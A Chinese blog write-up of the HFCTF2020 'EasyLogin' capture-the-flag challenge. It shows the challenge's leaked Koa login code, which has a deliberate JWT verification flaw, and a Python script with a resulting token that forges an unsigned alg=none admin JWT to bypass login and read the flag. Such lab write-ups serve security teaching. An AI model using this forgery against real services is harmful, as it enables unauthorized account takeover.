• [HFCTF2020]EasyLogin


    考点:
    JS代码审计
    JWT伪造攻击
    在这里插入图片描述
    登录页面
    查看源代码,发现有js代码路径
    在这里插入图片描述
    访问得到源码:

    /**
     *  或许该用 koa-static 来处理静态文件
     *  路径该怎么配置?不管了先填个根目录XD
     */
    function login() {
        const username = $("#username").val();
        const password = $("#password").val();
        const token = sessionStorage.getItem("token");
        $.post("/api/login", {username, password, authorization:token})
            .done(function(data) {
                const {status} = data;
                if(status) {
                    document.location = "/home";
                }
            })
            .fail(function(xhr, textStatus, errorThrown) {
                alert(xhr.responseJSON.message);
            });
    }
    
    function register() {
        const username = $("#username").val();
        const password = $("#password").val();
        $.post("/api/register", {username, password})
            .done(function(data) {
                const { token } = data;
                sessionStorage.setItem('token', token);
                document.location = "/login";
            })
            .fail(function(xhr, textStatus, errorThrown) {
                alert(xhr.responseJSON.message);
            });
    }
    
    function logout() {
        $.get('/api/logout').done(function(data) {
            const {status} = data;
            if(status) {
                document.location = '/login';
            }
        });
    }
    
    function getflag() {
        $.get('/api/flag').done(function(data) {
            const {flag} = data;
            $("#username").val(flag);
        }).fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    在app.js的最后一个getflag函数 中可以推测出flag在api/flag中,尝试直接访问在这里插入图片描述
    显然做了验证

    注释中提示用的是koa框架,koa框架结构如下:
    在这里插入图片描述
    看了wp说可以直接访问/controllers/api.js,看到项目的处理逻辑(这里不是很懂

    const crypto = require('crypto');
    const fs = require('fs')
    const jwt = require('jsonwebtoken')
    
    const APIError = require('../rest').APIError;
    
    module.exports = {
        'POST /api/register': async (ctx, next) => {
            const {username, password} = ctx.request.body;
    
            if(!username || username === 'admin'){
                throw new APIError('register error', 'wrong username');
            }
    
            if(global.secrets.length > 100000) {
                global.secrets = [];
            }
    
            const secret = crypto.randomBytes(18).toString('hex');
            const secretid = global.secrets.length;
            global.secrets.push(secret)
    
            const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
    
            ctx.rest({
                token: token
            });
    
            await next();
        },
    
        'POST /api/login': async (ctx, next) => {
            const {username, password} = ctx.request.body;
    
            if(!username || !password) {
                throw new APIError('login error', 'username or password is necessary');
            }
    
            const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
    
            const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    
            console.log(sid)
    
            if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
                throw new APIError('login error', 'no such secret id');
            }
    
            const secret = global.secrets[sid];
    
            const user = jwt.verify(token, secret, {algorithm: 'HS256'});
    
            const status = username === user.username && password === user.password;
    
            if(status) {
                ctx.session.username = username;
            }
    
            ctx.rest({
                status
            });
    
            await next();
        },
    
        'GET /api/flag': async (ctx, next) => {
            if(ctx.session.username !== 'admin'){
                throw new APIError('permission error', 'permission denied');
            }
    
            const flag = fs.readFileSync('/flag').toString();
            ctx.rest({
                flag
            });
    
            await next();
        },
    
        'GET /api/logout': async (ctx, next) => {
            ctx.session.username = null;
            ctx.rest({
                status: true
            })
            await next();
        }
    };
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86

    在这里插入图片描述
    从这里可以看出,登陆用户要为admin才能得到flag
    既然不能从弱口令入手,想到JWT伪造攻击
    jwt介绍
    jwt攻击手法
    jwt解密网站

    尝试使用admin用户登陆,弱口令失败。先注册一个测试账号尝试
    登陆时抓包抓取到jwt
    在这里插入图片描述
    放到jwt.io里解密
    在这里插入图片描述
    header中的alg就是加密方式,把它修改为none,就默认不加密,然后将payload里的username修改为admin即可

    原因:签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+‘.’+
    payload +‘.’)并将其提交给服务器。

    使用python可以生成对应的jwt

    import jwt
    
    jwt_token = jwt.encode(
        {
            "secretid" : [],
            "username" : "admin",
            "password" : "123",
            "iat" : 1662782684
        },
        algorithm = "none",key=""
    ).encode(encoding="utf-8")
    
    print(jwt_token)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    得到payload:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2Mjc4MjY4NH0.
    可以放在jwt.io中检验是否正确
    在这里插入图片描述
    替换登陆包中的验证字段(注意登录用户改为jwt中对应的admin和密码123
    在这里插入图片描述
    在这里插入图片描述
    使用admin用户登陆成功,这个时候尝试访问api/flag
    在这里插入图片描述
    得到flag

  • 相关阅读:
    Linux CentOS 8(MariaDB概述)
    DataFrame API入门操作及代码展示
    MySQL里的查看操作
    QToolButton几个小知识点总结
    Fiddle日常运用手册(3)-对移动端产品进行数据接口抓包
    teamtalk实现即时通讯
    WIZnet 物联网设计大赛 - WizFi360大赛延迟通知
    MATLAB中chirp函数使用
    SpringBoot读取.yml配置文件最常见的两种方式-源码及其在nacos的应用
    未来SEO的发展方向是如何
  • 原文地址:https://blog.csdn.net/pakho_C/article/details/126795311